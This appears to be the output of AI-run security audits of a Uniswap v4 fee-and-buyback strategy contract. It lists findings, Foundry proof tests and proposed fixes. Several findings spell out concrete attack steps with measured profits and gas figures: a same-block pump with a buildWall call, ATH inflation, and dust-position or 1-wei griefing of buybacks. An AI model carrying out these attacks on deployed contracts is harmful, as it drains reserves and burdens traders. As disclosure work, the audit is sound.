The requirement is that ARB already in the vault when the strategy is installed (the bank) is never counted or spent. The constructor fixes the bank as vault.totalReceived(reserve) at deployment, but totalReceived only reflects balance that FeeVault.sync has already credited.

Two realistic states break the invariant: (a) ARB transferred straight to the vault (not via the hook, which does take+sync) is still in FeeVault.pending at deploy; the next sell's hook sync, or anyone's permissionless vault.sync, credits it and the strategy's _observe() treats total - accounted as a fresh fee, splitting it into _pot/_pendingWall by the current tier.

(b) The snapshot is taken at deployment, not at installation: any fee the hook banks between new DrawdownBurnStrategy(...) and vault.setStrategy(strategy) (a separate transaction, since the vault owner must act after the address is known) is credited to totalReceived and is likewise counted as fresh on the first _observe(). Once counted, _due() lets the buyback spend it (its cap is the vault's whole balance) and _build() lays the rest as the wall, so the bank is spent.

Fix: in the constructor call vault_.sync(reserve_) before reading totalReceived (closes a), and either deploy+setStrategy atomically via a deployer contract or add an owner one-shot install() that re-snapshots accounted = vault.totalReceived(reserve) at the moment the strategy is pointed at (closes b). Both keep the agreed design.
Vault holds 100 ARB sent by direct transfer, never synced (vault.pending(ARB)==100, totalReceived==0).

Deploy the strategy: accounted==0.

Set it as the vault's strategy.

Anyone calls vault.sync(ARB) (or a sell happens, whose hook does the same) and then vault.onFeeReceived(ARB) runs in a new block.

Expected: pot()+pendingWall()==0, the 100 ARB stays banked.

Actual: pot()+pendingWall()==100e18; the next buyback/buildWall spends it.

Test: test/scratch/BankCountedAsFee.t.sol, which fails on the current code with 'pre-existing vault balance counted as a fee: 100000000000000000000 != 0'.

Variant (b): same without the direct transfer, but a sell paying 10 ARB fee lands between deployment and setStrategy; after setStrategy the first observe credits 10 ARB as fresh.
proof · a Foundry test the fix has to pass
// SPDX-License-Identifier: MIT pragma solidity 0.8.26; import {Test} from "forge-std/Test.sol"; import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import {PoolManager} from "v4-core/src/PoolManager.sol"; import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol"; import {IHooks} from "v4-core/src/interfaces/IHooks.sol"; import {PoolKey} from "v4-core/src/types/PoolKey.sol"; import {Currency} from "v4-core/src/types/Currency.sol"; import {DrawdownBurnStrategy} from "src/DrawdownBurnStrategy.sol"; import {FeeVault} from "src/FeeVault.sol"; import {Token} from "src/Token.sol"; import {IFeeStrategy} from "src/interfaces/IFeeStrategy.sol"; contract MockARB is ERC20 { constructor() ERC20("Arbitrum", "ARB") {} function mint(address to, uint256 amount) external { _mint(to, amount); } } /// Accounting of pot / pendingWall against the vault's real ARB. No swaps are needed: /// the strategy's constructor and onFeeReceived work against an uninitialised pool. contract BankCountedAsFeeTest is Test { PoolManager pm; FeeVault vault; Token token; MockARB arb; DrawdownBurnStrategy strat; address owner = address(0xA11CE); function _deploy() internal returns (address tokenAddr, address arbAddr) { pm = new PoolManager(address(this)); vault = new FeeVault(owner); // Deploy until token < arb so the token is currency0, as the strategy requires. while (true) { token = new Token("T", "T", 1_000_000e18, address(this)); arb = new MockARB(); if (address(token) < address(arb)) break; } return (address(token), address(arb)); } function _install(uint256 ath) internal { PoolKey memory key = PoolKey({ currency0: Currency.wrap(address(token)), currency1: Currency.wrap(address(arb)), fee: 3000, tickSpacing: 60, hooks: IHooks(address(0)) }); address[] memory ex; strat = new DrawdownBurnStrategy(IPoolManager(address(pm)), vault, key, token, address(arb), ath, ex, 1e30, 600, owner); vm.startPrank(owner); vault.setStrategy(IFeeStrategy(address(strat))); vault.transferOwnership(address(strat)); vm.stopPrank(); } /// Finding: ARB already in the vault but not yet credited by sync() at deploy is counted as a /// fresh fee the first time the strategy observes, and becomes spendable pot/pendingWall. function test_bankPendingAtDeployIsCountedAsFee() public { _deploy(); arb.mint(address(vault), 100e18); // the bank, delivered before the strategy exists, never synced _install(1e24); assertEq(vault.totalReceived(address(arb)), 0); assertEq(strat.accounted(), 0); vm.roll(block.number + 1); vault.sync(address(arb)); // the hook does exactly this on the next sell, before notifying vault.onFeeReceived(address(arb)); // permissionless entry; the hook would do the same on the next swap // Expected: the bank is never counted. Actual: 100 ARB is now pot + pendingWall. assertEq(strat.pot() + strat.pendingWall(), 0, "pre-existing vault balance counted as a fee"); } }
lowwithdrawFromVault reconciles pot/pendingWall against the vault balance without first splitting credited-but-unobserved fees, so pot+pendingWall can exceed the vault's ARBsrc/DrawdownBurnStrategy.sol:659
withdrawFromVault compares _pot+_pendingWall to the vault's balance after the withdrawal, but ignores vault.totalReceived(reserve) - accounted: fees already credited in the vault that _observe() has not yet split. Such fees exist whenever a swap's onFeeReceived did not complete (the 400k cap or any revert is swallowed by the vault, leaving the hook's sync credit standing) or when someone donates ARB and calls vault.sync.

The owner's view functions pot() and pendingWall() show 0 for that money, so the owner withdraws it as bank; the next _observe() then credits it on top, leaving pot+pendingWall larger than the vault holds.

Consequences: _due() caps the buyback at the vault balance, so the pot spends pendingWall's ARB; _build() pays pending from the vault with no cap, so buildWall() reverts in FeeVault.withdraw (SafeERC20 insufficient balance) whenever pot's real share is below the overstatement, an intermittent DoS of the permissionless wall path. The owner can recover by calling withdrawFromVault(reserve, to, 0) after the next observe, but nothing tells them to.

Fix: run the split before reconciling, e.g. call _observe() (or at least credit total - accounted into the comparison and split it) at the top of withdrawFromVault, so pot/pendingWall are current when compared to the balance.
Bank 100 ARB synced; strategy installed (accounted==100e18).

A fee of 10 ARB lands and is credited by vault.sync but not observed (pot()==pendingWall()==0).

Owner calls withdrawFromVault(ARB, owner, 110e18): no adjustment because both==0<=held==0.

Next block vault.onFeeReceived(ARB) runs.

Expected: pot()+pendingWall() <= vault ARB balance (0).

Actual: pot()+pendingWall()==10e18 while the vault holds 0; a following buildWall() with pending>0 reverts in FeeVault.withdraw.

Test: test/scratch/WithdrawIgnoresUnobserved.t.sol fails on the current code with 'accounting exceeds vault balance: 10000000000000000000 > 0' and passes once withdrawFromVault splits unobserved fees first.
proof · a Foundry test the fix has to pass
// SPDX-License-Identifier: MIT pragma solidity 0.8.26; import {Test} from "forge-std/Test.sol"; import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import {PoolManager} from "v4-core/src/PoolManager.sol"; import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol"; import {IHooks} from "v4-core/src/interfaces/IHooks.sol"; import {PoolKey} from "v4-core/src/types/PoolKey.sol"; import {Currency} from "v4-core/src/types/Currency.sol"; import {DrawdownBurnStrategy} from "src/DrawdownBurnStrategy.sol"; import {FeeVault} from "src/FeeVault.sol"; import {Token} from "src/Token.sol"; import {IFeeStrategy} from "src/interfaces/IFeeStrategy.sol"; contract MockARB is ERC20 { constructor() ERC20("Arbitrum", "ARB") {} function mint(address to, uint256 amount) external { _mint(to, amount); } } /// Accounting of pot / pendingWall against the vault's real ARB. No swaps are needed: /// the strategy's constructor and onFeeReceived work against an uninitialised pool. contract WithdrawIgnoresUnobservedTest is Test { PoolManager pm; FeeVault vault; Token token; MockARB arb; DrawdownBurnStrategy strat; address owner = address(0xA11CE); function _deploy() internal returns (address tokenAddr, address arbAddr) { pm = new PoolManager(address(this)); vault = new FeeVault(owner); // Deploy until token < arb so the token is currency0, as the strategy requires. while (true) { token = new Token("T", "T", 1_000_000e18, address(this)); arb = new MockARB(); if (address(token) < address(arb)) break; } return (address(token), address(arb)); } function _install(uint256 ath) internal { PoolKey memory key = PoolKey({ currency0: Currency.wrap(address(token)), currency1: Currency.wrap(address(arb)), fee: 3000, tickSpacing: 60, hooks: IHooks(address(0)) }); address[] memory ex; strat = new DrawdownBurnStrategy(IPoolManager(address(pm)), vault, key, token, address(arb), ath, ex, 1e30, 600, owner); vm.startPrank(owner); vault.setStrategy(IFeeStrategy(address(strat))); vault.transferOwnership(address(strat)); vm.stopPrank(); } /// Finding: withdrawFromVault reconciles pot/pendingWall against the vault balance without /// first splitting fees that are credited in the vault (totalReceived) but not yet observed. /// The next observe then credits them on top, so pot + pendingWall exceeds the vault's ARB. function test_withdrawFromVaultIgnoresUnobservedFees() public { _deploy(); arb.mint(address(vault), 100e18); vault.sync(address(arb)); // bank, properly credited before install _install(1e24); assertEq(strat.accounted(), 100e18); // A fee lands and is credited by the hook's sync, but the strategy's onFeeReceived did not // run to completion (gas cap / revert swallowed by the vault): 10 ARB credited, unobserved. arb.mint(address(vault), 10e18); vault.sync(address(arb)); assertEq(strat.pot() + strat.pendingWall(), 0); // Owner reads pot()==0 and pendingWall()==0, so believes the whole 110 ARB is bank, and takes it. vm.prank(owner); strat.withdrawFromVault(address(arb), owner, 110e18); assertEq(arb.balanceOf(address(vault)), 0); vm.roll(block.number + 1); vault.onFeeReceived(address(arb)); // Expected: pot + pendingWall <= vault ARB. Actual: 10 ARB counted, vault holds 0. assertLe(strat.pot() + strat.pendingWall(), arb.balanceOf(address(vault)), "accounting exceeds vault balance"); } }
lowHourly-close ATH can be lifted for one round trip of fees: anchor stepping is free through permissionless vault.onFeeReceived/buyback(), not 'paid for every block' as the design assumessrc/DrawdownBurnStrategy.sol:382
The documented defence against lifting athMcap is that a pump must be 'held to an hour's close, paid for every block -- a round trip through the pool's fee each time'. The anchor only has to be read, not traded: FeeVault.onFeeReceived has no caller check and forwards to this contract's onFeeReceived, which runs _observe() before checking the pool is unlocked; buyback() does the same through unlockCallback.

Each call in a new L1 block (block.number on Arbitrum) moves the anchor MAX_ANCHOR_STEP toward the pumped tick at gas cost only. So the attacker buys once near the end of a clock hour, calls vault.onFeeReceived(x) once per L1 block until anchor.tick reaches the pumped tick (a 2x pump is 6931 ticks, 35 L1 blocks, about 7 minutes), lets the hour roll, triggers one reading in the new hour (ath = lastMcap) and sells.

Cost is one hook round trip (2 x 3.3%) plus LP fee and any arbitrage against the pump during the hold, independent of block count.

Effects: tiers read against an inflated ATH push every later fee to the 100% burn tier, and the next wall (after a crossing, burnWall or moveWall) is laid at 40% of the inflated ATH, so the attacker (or any large holder) can sell into fee-funded ARB at up to the pump multiple above the true level. The README accepts ATH lifting as a trade-off; this finding is that the stated cost model is wrong, which matters for sizing WALL_BPS/maxPerBuy.

Fix options preserving the design: take the hourly close as the minimum (or time-weighted) anchor mcap over the hour rather than the last reading, or require the hour's last reading to be at least N L1 blocks old / confirmed by a reading in the following hour before it becomes the ATH; at minimum correct the documented assumption.
State: athMcap=A, current mcap=0.9A at 10:52.

Attacker buys tokens to push the pool tick up 6931 ticks (mcap 1.8A), paying 3.3% hook fee + LP fee.

Each new L1 block they call vault.onFeeReceived(ARB) (no swap, ~60k gas): anchor.tick advances 200 ticks per call; after 35 calls anchor sits at the pumped tick and lastMcap=1.8A.

At 11:00:xx the first call (theirs) hits _anchorNow with hour != a.hour and lastMcap > ath, so athMcap becomes 1.8A and NewHigh fires.

Attacker sells back (3.3% hook fee).

Expected per the design note: lifting the ATH costs a fee round trip per block held.

Actual: one round trip total; the strategy then reads mcap 0.9A as 50% under ATH (tier 100% burn) and wallTarget() for the next wall is at 0.72A instead of 0.4A.
lowAnyone can suppress in-swap buybacks and make every trader pay for a burn by donating 1 wei of token to the strategysrc/DrawdownBurnStrategy.sol:250
onFeeReceived refuses to buy while token.balanceOf(address(this)) != 0 and instead burns whatever is held. The balance is not restricted to what buybacks bought: any transfer to the strategy address trips the branch.

A griefer who keeps the strategy's token balance non-zero (1 wei before each trade, or a steady stream of 1-wei transfers on Arbitrum's FIFO sequencer) ensures that every swap's onFeeReceived takes the burn branch and returns, so no buyback ever runs inside a swap; fees still split, the pot grows, and buybacks happen only when someone pays for buyback() themselves.

Each such swap also executes Token.burn with two checkpoint pushes (~70-90k gas) on the trader's gas, which is the cost the 400k cap is meant to bound but is here imposed for a 1-wei burn.

Related gas lever: the buyback's exact-input swap crosses every initialised tick in the 200-tick band above the anchor; with the pool's tick spacing small enough, cheap dust positions on each spacing push the in-swap buyback past the 400k cap (327k measured) so it fails silently and again falls back to buyback(). Impact is griefing of the automatic path and trader gas, no loss of funds.

Fix: only take the burn branch when the held balance is at least some floor (or equals what the last buyback recorded), and keep a tiny unsolicited balance for the next burnHeld()/unlockCallback burn; optionally skip the in-swap burn when gasleft() after the burn would not also cover the buyback.
State: pot()=50 ARB, a sell is about to happen.

Attacker transfers 1 wei of the token to the strategy.

The sell runs: hook banks the fee, vault.onFeeReceived -> strategy: _observe splits, isUnlocked true, synced currency zero, token.balanceOf(strategy)==1 != 0 -> _burnHeld() burns 1 wei (two checkpoint pushes, ~80k gas on the trader) and returns.

Expected: a buyback of min(pot, maxPerBuy) at <= anchor+200 ticks runs inside the swap.

Actual: no buyback; _due() is never reached.

Repeating the 1-wei transfer before each trade keeps every in-swap buyback suppressed until someone calls buyback() on their own gas.
infowithdrawWall(to == vault) sends wall ARB into the vault without _toVault, so it is credited as a new fee and re-splitsrc/DrawdownBurnStrategy.sol:570
_withdrawWall takes the wall's ARB with poolManager.take(currency1, to, reserveOut) directly. Every other path that returns ARB to the vault goes through _toVault, which brackets the transfer with vault.sync so accounted moves with totalReceived.

If the owner passes the vault address as to (a natural way to 'put it back'), the ARB lands uncredited; the next hook sync or vault.sync credits it to totalReceived and _observe() splits it into pot/pendingWall by the current tier, re-counting money that had already been counted once. Owner-only and recoverable, so informational.

Fix: route to == address(vault) through _toVault (and add the amount to _pendingWall), or reject the vault as a recipient.
Wall holds 30 ARB.

Owner calls withdrawWall(address(vault)).

Vault balance rises by 30 with lastBalance unchanged.

Next sell: hook sync credits 30 + fee to totalReceived; strategy _observe computes fresh = 30 + fee and splits it.

Expected (compare burnWall/moveWall): accounted advances with the returned ARB and only fee is split.

Actual: the 30 ARB is split a second time.
Audit flowAgent #1160found 2 medium, 2 low
The review is complete. The findings file at the repository root holds four substantiated findings, each confirmed with a Foundry harness I built under test/scratch/ (PoolManager, Token, FeeVault, FeeHook at a flag-mined address, and the strategy).

What I found

Medium, buildWall gates on the spot tick (src/DrawdownBurnStrategy.sol:502). Every other read uses the step-limited anchor, but the "lay the wall" decision uses slot0. In one transaction anyone can pump just above the wall top, call buildWall, and dump back through it. The pending reserve then buys tokens at the wall price while the market is 25 to 30% lower. In the harness the attacker ended 414.5 ARB better off than the same pump-and-dump without the buildWall call, about 20% of the pending. This matters most after moveWall when the new top sits above the market, since the whole old wall's reserve then waits in pendingWall.

Medium, first reading is unstepped (src/DrawdownBurnStrategy.sol:416). The constructor leaves anchor.block_ at 0, so the first observation after deployment takes the raw pool tick. One pump swap right after deploy set the anchor to tick 3000 instead of at most 200, read the tier as 0%, and an hour later lifted the ATH from 1.2e27 to 1.35e27 permanently. Fix is to seed anchor.block_ with the deploy block or drop the zero shortcut.

Low, withdrawFromVault ignores unsplit fees (src/DrawdownBurnStrategy.sol:659). The shortfall check runs before _observe, so fees already recorded by the vault but not yet split are withdrawn and then split anyway. Afterwards pot plus pendingWall exceeded the vault balance by the full amount, and buildWall reverts until the owner re-triggers the correction.

Low, dust ticks defeat the in-swap buyback (src/DrawdownBurnStrategy.sol:257). With tickSpacing 10, twenty 1e12-liquidity positions inside the 200-tick window made buyInside run out of gas silently on every swap, and the fallback buyback cost about 1M gas. With spacing 60 the buyback still fit. Reachability depends on the deployed pool's spacing, which the repository does not state.

What held up under test

The bank-conservation invariant (vault balance at least bank plus pot plus pendingWall) held across fee splits, in-swap buybacks, buildWall, the crossed-wall burn, re-laying, burnWall, buyback, and moveWall.

Flash accounting settled to zero deltas on every unlockCallback path. The sync guard, the reentrancy guard on the nested hook call, and the _toVault accounted bump all behaved as intended.

The hourly-close ATH, tier boundaries, buyback price limit, single-sided add and remove, and the wall tick math were all consistent with the README once the two anchor issues above are set aside.

No critical or high findings, so no proof files were attached. Trust assumptions worth noting separately: the owner can move or withdraw the wall and the vault at will, and fees that land between deployment and installation are counted as spendable.
ran onclaude · claude-fable-5-1 · 23 turns · 19m 16s · 546 in · 75.9K out · 1.8M cached
submissiond221afb2a199bcfa7ada5460cab50afbe809f4ef474a8c195ad82d51c839c80a
device1a7ecd03bd365366b6f241680712f1ff7c97951c68a4d7d90ea6000fa48d0f54
started fromf55319f8e635922358167c3ce4c78d66e040ece9
bundlenone
mediumbuildWall gates on the spot tick, so a same-block pump lays the pending reserve as a wall under the market and sells into itsrc/DrawdownBurnStrategy.sol:502
Everything else in the strategy reads the price at the block's anchor, which may move only 200 ticks per block, precisely so that a flash move inside one transaction cannot change what the contract does. _build() is the exception: it decides whether the pending reserve may be laid from the pool's current slot0 tick.

Anyone can therefore, in one transaction, (1) buy until the spot tick is just above wallTarget().upper, (2) call buildWall(), which lays the whole pendingWall as reserve-only liquidity in [upper-wallWidth, upper), and (3) sell back down through it.

The wall buys their tokens at the wall's price while the market is below it, so the attacker captures the premium between the wall range and the market on the full pending amount, paid from reserve that was meant to buy tokens only if the market genuinely came down to that level. The documented rule 'nothing is added while the price is at or inside its top' is bypassed.

The state that makes this material is any time pendingWall is large while the market is under the top: fees that arrived but were not yet laid when the price fell, and above all moveWall() called when the new top is above the market (the whole old wall's reserve then sits in pendingWall waiting, as the moveWall natspec says).

In the harness (1e24 liquidity, 3.3% hook fee, 0.3% LP fee, ATH 2e27, market at tick -5249, upper -2280, pendingWall about 2.07e21): the honest buildWall lays nothing; the attacker's pump to tick -2279 + buildWall lays liquidity 72221089734403921262740, the dump back leaves the wall holding 0 reserve and 2464.9e18 tokens at tick -5112, and the attacker's ARB balance ends 414.52e18 higher than the same pump-and-dump without the buildWall call (about 20% of the pending reserve).

Fix: gate the add on the block's anchor as well as the spot, e.g. require anchor.tick >= upper (and anchor.block_ == block.number after _observe), or require the previous block's anchor to also be at or above upper, so that a single-transaction pump cannot open the gate.
State: wall.liquidity == 0, pendingWall > 0, pool tick below wallTarget().upper (mcap under 40% of ATH).

Steps in one block: swap zeroForOne=false with sqrtPriceLimit = getSqrtPriceAtTick(upper+1) so slot0 tick >= upper; call buildWall(); swap zeroForOne=true selling the tokens just bought.

Expected (natspec of _build and README): buildWall is a no-op while the market is under the wall's top, pendingWall unchanged.

Actual: wall.liquidity != 0 equal to getLiquidityForAmount1(lower, upper, pending), pendingWall drained to the vault payment, and after the sell-back wallAmounts() shows 0 reserve and only tokens, i.e. the pending reserve bought tokens at the wall price while the market is 25-30% lower; attacker ARB pnl improves by 414.52e18 versus the same trades without buildWall (harness numbers above).
mediumFirst reading after deployment is not step-limited: anchor.block_ starts at 0, so one pump sets the anchor, tier and the hour's close at any pricesrc/DrawdownBurnStrategy.sol:416
The constructor stores anchor = Anchor(0, tick, 1, tier, hour) with block_ = 0, and stepped() returns the raw pool tick whenever a.block == 0. So the very first _observe() after deployment (which runs inside the afterSwap of the first swap, or on the first permissionless buyback()/buildWall()/vault.onFeeReceived call) anchors the block at whatever the pool's tick is at that moment, with no 200-tick limit from the constructor's tick.

A single transaction that buys hard and then calls nothing else (its own afterSwap performs the reading) sets anchor.tick to the pumped tick, lastMcap to the pumped market cap and burnBps from it, and the attacker can sell back in the same transaction.

If no other reading happens before the clock hour ends (or the attacker does it in the hour's last block), the next hour's first reading promotes that pumped lastMcap to athMcap, which never falls again: every later tier is read against an inflated ATH (more to the wall, less burned, or 100% burn forever if the inflation is large) and wallTarget() places the wall above the real market.

The documented guarantee is that 'a wick inside an hour is never an ATH' and that lifting the ATH must be 'paid for every block'; here it costs one round trip. The window is from deployment until the first reading; since the strategy is deployed, then setStrategy/transferOwnership are separate calls, and Arbitrum lets anyone react within a block, the deployer cannot rely on being first.

Harness: ATH 1.2e27, pool at tick 0 (mcap 1e27). One swap zeroForOne=false to tick 3000 right after deployment: anchor.tick == 3000 (expected at most 200), burnBps == 0 (expected 2500 at tick 200), lastMcap == 1349832356765442005489792828; warp +1 hour, any swap: athMcap == 1349832356765442005489792828 (expected unchanged 1.2e27).

Fix: initialise anchor.block_ to block.number in the constructor (the deploy-block reading is then the constructor's), or drop the block_ == 0 shortcut in _stepped so the constructor's tick is the step origin.
Deploy DrawdownBurnStrategy with pool at tick 0, athMcap_=1.2e27, no excluded; before any other call, in block N swap zeroForOne=false with sqrtPriceLimit at tick 3000 (afterSwap -> vault -> onFeeReceived -> _observe). Read anchor(): expected tick <= 200 and burnBps 2500; actual tick 3000, burnBps 0, lastMcap 1.3498e27. vm.warp(+3600), vm.roll(N+1), any swap: expected athMcap still 1.2e27; actual athMcap 1.3498e27.
lowwithdrawFromVault computes the shortfall before splitting fees already recorded by the vault, leaving pot+pendingWall above what the vault holds and bricking buildWallsrc/DrawdownBurnStrategy.sol:659
withdrawFromVault() promises that what it takes 'comes out of pendingWall first, then the pot, as far as the vault no longer covers them', but it compares _pot + _pendingWall against the vault balance without first running _observe().

Any reserve the vault has already recorded in totalReceived but the strategy has not yet split (a swap whose 400k strategy call failed and emitted StrategyCallFailed, or a direct transfer followed by the permissionless vault.sync) is invisible to the check.

If the owner's withdrawal consumes that reserve, the next _observe() still splits it into _pot/_pendingWall, and the two counters now exceed the vault's balance by exactly that amount. _due() caps buybacks at the vault balance so they keep working, but _build() pays pendingWall - 1 in full through vault.withdraw, which reverts on insufficient balance: buildWall() reverts for everyone until the owner calls withdrawFromVault(reserve, to, 0) to re-trigger the correction, and until then pendingWall overstates the wall budget.

Harness: bank 1e24, one swap leaves pot 0 and pendingWall 8.217e18; transfer 1e21 ARB to the vault and vault.sync(arb); owner withdrawFromVault(arb, owner, 1e24 + 1e21): pot/pendingWall unchanged (0 / 8.217e18); next block vault.onFeeReceived: pot 750e18, pendingWall 258.217e18 while the vault holds 8.217e18.

Fix: call _observe() at the top of withdrawFromVault() (and it is cheap to also do so in releaseVault) so the counters are current before the shortfall is computed.
State: vault.totalReceived(reserve) - accounted == 1e21 (e.g. arb.transfer(vault, 1e21); vault.sync(arb)), pot 0, pendingWall 8.217e18, vault balance 1e24 + 1e21 + 8.217e18.

Owner calls withdrawFromVault(arb, owner, 1e24 + 1e21).

Expected: pendingWall/pot reduced so that pot + pendingWall <= vault balance after the next split.

Actual: counters untouched; after the next _observe (any swap or vault.onFeeReceived) pot + pendingWall == 1008.217e18 > vault balance 8.217e18, and buildWall() reverts in vault.withdraw once a wall can be laid.
lowDust positions on every spacing inside the 200-tick buyback window push the in-swap buyback past the 400k cap; it fails silently and the fallback buyback() costs about 1M gassrc/DrawdownBurnStrategy.sol:257
The in-swap buyback runs under the vault's 400k gas cap and may walk up to MAX_SLIP_TICKS (200 ticks) above min(spot, anchor). Each initialized tick it crosses costs the swap a tick-bitmap read, the tick's storage and a feeGrowthOutside write, so whoever controls how many ticks are initialized in that window controls the buyback's gas.

Initializing a tick needs only a position with any liquidity at all: a 1e12-liquidity position (dust, far below one token) per spacing is enough, and positions persist.

With tickSpacing 10, twenty such positions at the twenty spacings above the price make buyInside run out of gas inside onFeeReceived; the OOG is swallowed by this try/catch so the swap and the vault see nothing (no StrategyCallFailed), the fee is still split, but no buyback happens in any swap while the dust remains in the window. The permissionless fallback buyback() then costs the caller about 1,003,000 gas for the same buy.

The README's own fallback assumption (item 5) holds, but the attack costs the griefer only ~20 negligible positions, re-placed only when the price leaves the window, and it turns the strategy's main mechanism (buying inside the trader's swap on the trader's gas) off for as long as they like. With tickSpacing 60 the window holds at most three initialized ticks and the buyback still fits (tested with 3 dust positions).

Harness numbers: liquidity 1e23 over [-6000, 6000], pot 7.5e20 after a sell at block 101; at block 102 with 20 dust positions of 1e12 liquidity at every 10-tick spacing above the price: totalSpent unchanged after the swap, no StrategyCallFailed, pot left 560171088842949778706 after the swap's own fee split; buyback() at block 103 succeeds using 1,002,999 gas. Same scenario with 0 or 3 dust ticks at spacing 60: in-swap buyback happens.

Whether this is reachable on the deployed pool depends on its tickSpacing, which the repository does not state. Fix options that preserve the design: inside onFeeReceived use a narrower price window (e.g. 50 ticks) and reserve the full 200 for buyback(); or size the in-swap buy so that the swap's price impact is bounded by a tick budget read from gasleft(); or document and run a keeper for buyback().
Pool with tickSpacing 10, liquidity 1e23 over [-6000,6000], hook fee 3.3%.

Block 101: sell 3e22 tokens so pot ~7.5e20 ARB (anchor at the post-sell tick).

Add 20 positions with liquidityDelta 1e12 at [base+10i, base+10(i+1)] for i=1..20 where base = floor(tick/10)*10.

Block 102: any sell swap.

Expected: the in-swap buyback spends min(pot, maxPerBuy) up to anchor+200 (as it does with 0 or 3 initialized ticks at spacing 60).

Actual: totalSpent() unchanged, no StrategyCallFailed event (the OOG is caught at this line), pot untouched; buyback() in block 103 succeeds but uses ~1,003,000 gas.
Audit economicsAgent #606found 2 medium, 1 low, 1 info
The review is complete and the findings file is written. Both proof tests fail on the current code as required.

What I reviewed

The target src/DrawdownBurnStrategy.sol in full, with FeeVault, FeeHook, Token and the pinned v4-core and v4-periphery sources as context. I built a local Uniswap v4 harness under test/scratch/ (PoolManager, mined hook address, token/ARB pool, router) and ran the buyback, wall and anchor flows against it, since no fork was available.

Findings written to .imd-findings.json

Medium, line 257, with proof. Dust liquidity positions seeded at every spacing in the 200-tick band above the price make the nested buyback swap cross initialized ticks. Each costs about 30k gas, the in-swap call then exceeds the vault's 400k cap and try this.buyInside(amount) {} catch {} swallows the revert. The pot stays unspent and no event records the failure. Measured: 193k vs 315k for the nested swap, zero BoughtBack, zero StrategyCallFailed. A related measurement shows that eight excluded addresses alone, with no attacker, already push the call out of gas in the harness.

Medium, line 222, with proof. accounted is snapshotted in the constructor, but installation happens in later transactions. Fees banked in that window are split as fresh and the first buyback() spends them, which breaks the stated rule that ARB already in the vault is never spent. Measured: a 32.6 ARB fee banked before install, vault balance zero after one buyback.

Low, line 382. A held pump with permissionless per-block anchor stepping across an hour boundary lifts the ATH irreversibly. Measured: 44% lift for 6.5% of pump capital, wall target 3600 ticks higher, no owner function lowers athMcap.

Info, line 426. On Arbitrum block.number is the L1 block number, so the once-per-block anchor, tier read and buyback run once per roughly 12 seconds rather than per L2 block.

Checked and found sound

Flash accounting settles to zero on every unlockCallback path. The getSyncedCurrency guard and sync/settle ordering hold inside another user's swap. The reentrancy guard blocks re-entry through the vault. Intra-block pumps cannot buy above the anchor plus 200 ticks. Wall tick math, single-sided add and remove, fee netting and the crossed-wall burn are consistent with v4's own tick comparisons. The withdrawFromVault reconciliation keeps the sentinels intact.

Limits

Gas figures come from a cold local pool with tick spacing 60 and differ from the live pool's 327k by about 36k. The live pool's tick spacing is unknown to me, and smaller spacings make the seeded-tick attack cheaper. The test/scratch/ directory holds the harness and both proof files and is yours to delete.
ran onclaude · claude-fable-5-1 · 29 turns · 19m 40s · 546 in · 75.2K out · 2.4M cached
submissione524aee5707b8405aa681ed21f2934f2ff9ffe0d5edcfcbd3dcb898e6b861a78
devicee6de8d4c6cf9755159db0f1186e45380731977af9ac6ac182deeacfba39d97ee
started fromf55319f8e635922358167c3ce4c78d66e040ece9
bundlenone
mediumDust liquidity seeded above the anchor makes every in-swap buyback run out of the 400k cap and fail silentlysrc/DrawdownBurnStrategy.sol:257
The buyback that runs inside a trader's swap has about 37k gas of headroom under FeeVault.STRATEGY_GAS_LIMIT (measured 363k for onFeeReceived with zero excluded addresses in a local v4 pool, tickSpacing 60; the README reports 327k on the live pool). The nested poolManager.swap in _buy crosses every initialized tick between the current price and min(tick, anchor)+200.

Crossing an initialized tick costs ~30k (TickInfo reads plus two feeGrowthOutside writes), so an unprivileged actor who places dust positions (liquidity 1000, a few wei of each currency) at every spacing in the 200-tick band above the price adds ~120k to the nested swap. buyInside then runs out of gas; the try/catch at this line swallows the revert, the pot is left unspent and FeeVault emits no StrategyCallFailed, so nothing observable records the failure.

Because the pot keeps growing and every later attempt tries to spend min(pot, maxPerBuy), the in-swap buyback stays disabled as long as the band is seeded; the only remaining path is the permissionless buyback() keeper call, which carries no gas cap.

With tickSpacing 60 the attacker needs 4-5 positions per 200-tick band and the buyback must be large enough to cross them (a pot of a few percent of the pool's ARB side); with smaller spacings far fewer ticks and a far smaller pot suffice.

Fix options that keep the design: bound the nested swap's tick limit to less than one spacing when gas is short, check gasleft() against a measured cost per initialized tick before buying, or emit an event in the catch so the failure is visible and keepers call buyback().

Supporting measurement of how thin the headroom is: in the same local harness, with the documented maximum of eight excluded addresses and no seeded ticks, an ordinary sell of 1e24 tokens already pushes onFeeReceived to 394k and buyInside runs out of gas inside the nested swap (zero BoughtBack, pot left at 32.644 ARB), so the excluded list alone consumes the margin that the live measurement of 327k relies on; each excluded address costs about 4k per in-swap call.
Local v4 pool (token/ARB, tickSpacing 60, 3000 lpFee, FeeHook 330 bps, full-range liquidity ~1e26 tokens / 1e23 ARB at tick -69060), strategy installed with ath=type(uint128).max (tier 100%), maxPerBuy 1e23.

State: pot = 5e22 ARB (a whale fee under maxPerBuy waiting for its block), attacker adds positions [t, t+60] with liquidity 1000 for t = floor(tick), ..., floor(tick)+240.

Input: any trader sells 1e22 tokens.

Expected: one BoughtBack event, pot decreases.

Actual: nested swap uses 315k instead of 193k, buyInside reverts OutOfGas inside poolManager.take, pot stays 50000.33 ARB, zero BoughtBack and zero StrategyCallFailed events.

Same state without the dust positions: BoughtBack emitted, pot falls to 48992 ARB.

Run: forge test --match-path test/scratch/SeededTicksProof.t.sol
mediumARB banked between the strategy's construction and its installation is split as fresh fees and spentsrc/DrawdownBurnStrategy.sol:222
The invariant in the README is that ARB already in the vault when the strategy is installed is never spent. accounted is snapshotted in the constructor, but installation (releasing the vault from the old strategy, vault.setStrategy, vault.transferOwnership) happens in later transactions.

Every sell that lands in between raises vault.totalReceived while the fee stays banked; at the first _observe the difference total - accounted is treated as fresh, split into pot/pendingWall at the current tier, and the next buyback() or in-swap buyback spends it.

The amount is bounded by trading volume in the install window, but the trigger is unprivileged (any trader's sell, then anyone's buyback()) and the vault's balance at install time drops below itself, violating the stated guarantee.

Fix: snapshot accounted lazily at the first call after installation (e.g. when accounted == 0 sentinel, or in an owner-only install() that the deploy script calls right after transferOwnership), or have the constructor refuse to run unless vault.strategy() is already this address is not possible, so prefer the lazy snapshot.
